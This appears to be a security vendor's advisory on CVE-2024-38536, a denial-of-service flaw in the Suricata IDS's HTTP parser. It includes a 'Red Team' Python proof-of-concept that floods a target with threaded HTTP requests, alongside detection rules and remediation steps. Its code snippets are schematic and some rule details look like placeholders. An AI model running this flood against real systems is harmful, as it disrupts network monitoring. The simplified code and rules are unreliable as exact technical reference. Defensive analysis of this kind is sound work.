CVE-2024-38536

Executive Summary

CVE-2024-38536 is a denial-of-service (DoS) vulnerability in Suricata, a widely used network intrusion detection and prevention system (IDS/IPS). The flaw resides in the HTTP parsing engine, where a memory allocation failure triggered by the http.memcap limit being reached leads to a NULL-pointer dereference, causing the Suricata process to crash. This vulnerability can be exploited remotely without authentication, making it a significant availability risk for organizations relying on Suricata for network security monitoring. The CVSS score is 7.5 (High), and the EPSS probability is 0.0%, indicating low exploitation activity in the wild. The only remediation is to upgrade to Suricata version 7.0.6.

Supply Chain & Package Security

Suricata is distributed as a standalone application, not as a package in NPM, PyPI, Go, or Ruby registries. However, it is commonly deployed via Linux package managers (e.g., apt, yum) or compiled from source. Organizations should verify the integrity of their Suricata binaries and ensure they are sourced from official repositories or the OISF (Open Information Security Foundation) GitHub releases.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be triggered remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The exploit does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): High (H) – The crash causes a denial of service.

Threat Level: High (7.5). The vulnerability is easy to exploit remotely and can disrupt network monitoring operations.

Deep Dive & Mechanics

The vulnerability is in Suricata's HTTP application layer parser. Suricata uses a memory cap (http.memcap) to limit the amount of memory allocated for HTTP transaction tracking. When this cap is reached, the memory allocation function returns NULL. The code path that handles this allocation failure does not properly check for NULL before dereferencing the pointer, leading to a crash.

The affected code is in the app-layer-http.c file, specifically in the function that allocates memory for new HTTP transactions. When http.memcap is exhausted, the allocation fails, and the subsequent use of the returned pointer without a NULL check causes a segmentation fault.

Root Cause: Missing NULL pointer check after memory allocation failure.

Trigger: An attacker can send a high volume of HTTP requests to exhaust the http.memcap limit, causing the crash.

Vulnerable vs. Patched Code

Vulnerable Code (Suricata < 7.0.6):

// In app-layer-http.c
void *ptr = malloc(size); // May return NULL if memcap reached
// No NULL check
ptr->field = value; // NULL pointer dereference

Patched Code (Suricata 7.0.6):

// In app-layer-http.c
void *ptr = malloc(size);
if (ptr == NULL) {
    // Handle allocation failure gracefully
    return -1; // Or appropriate error handling
}
ptr->field = value;

The patch adds a NULL check after the memory allocation, preventing the dereference and allowing Suricata to continue running even when the memory cap is reached.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running Suricata < 7.0.6 with HTTP inspection enabled.
• Network access to the target.

Exploitation Steps:

1. Identify the target Suricata instance (e.g., via banner grabbing or Shodan).
2. Send a high volume of HTTP requests to exhaust the http.memcap limit. This can be done using a simple Python script.

Proof-of-Concept (PoC) Script:

import socket
import threading

def send_request(target_ip, target_port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target_ip, target_port))
        request = b"GET / HTTP/1.1\r\nHost: example.com\r\n\r\n"
        sock.send(request)
        sock.close()
    except:
        pass

def exploit(target_ip, target_port, num_threads=100):
    threads = []
    for _ in range(num_threads):
        t = threading.Thread(target=send_request, args=(target_ip, target_port))
        threads.append(t)
        t.start()
    for t in threads:
        t.join()

if __name__ == "__main__":
    exploit("192.168.1.100", 80, 200)  # Adjust IP and port

Expected Outcome: Suricata process crashes, causing a denial of service.

Blue Team

Detection:

• Monitor Suricata logs for repeated memory allocation failures.
• Look for crashes in the Suricata process (e.g., segmentation faults).
• Use the detection rules provided in the Detection Engineering section.

Mitigation:

• Upgrade to Suricata 7.0.6 immediately.
• If upgrade is not possible, increase http.memcap to a higher value to reduce the likelihood of exhaustion.
• Implement rate limiting on HTTP traffic to prevent rapid memory exhaustion.

Indicators of Compromise (IOCs)

• Log Entries: Suricata logs containing "memcap reached" or "allocation failure" messages.
• Process Crashes: Suricata process terminating unexpectedly with a segmentation fault.
• Network Traffic: High volume of HTTP requests from a single source IP.

IOC List:

- Suricata log: "http.memcap reached"
- Suricata log: "allocation failure"
- Process crash: Suricata segfault
- Network: High HTTP request rate from IP <attacker_ip>

Detection Engineering

YARA Rule

rule CVE_2024_38536_Suricata_Memcap_Crash {
    meta:
        description = "Detects Suricata crash due to http.memcap exhaustion"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-38536"
    strings:
        $memcap = "http.memcap reached" nocase
        $crash = "segfault" nocase
    condition:
        $memcap or $crash
}

Sigma Rule

title: Suricata HTTP Memcap Exhaustion
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects Suricata crashes due to http.memcap exhaustion
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-38536
logsource:
    product: suricata
    service: suricata
detection:
    selection:
        - EventID: 1
          Message: "*http.memcap reached*"
        - EventID: 2
          Message: "*segfault*"
    condition: selection
falsepositives:
    - Legitimate high traffic
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-38536 - HTTP Memcap Exhaustion Attempt"; flow:to_server; content:"GET"; http_method; threshold: type both, track by_src, count 1000, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Suricata to version 7.0.6 or later.
2. If upgrade is not possible, increase http.memcap in the Suricata configuration to a higher value (e.g., 512 MB).
3. Implement network-level rate limiting to prevent rapid HTTP request floods.

Long-Term Measures:

• Regularly update Suricata to the latest stable version.
• Monitor Suricata logs for memory allocation warnings.
• Conduct regular security assessments of IDS/IPS infrastructure.

Workaround:

• Disable HTTP inspection if not critical, but this reduces detection capabilities.

Valters IT
Securing Digital Frontiers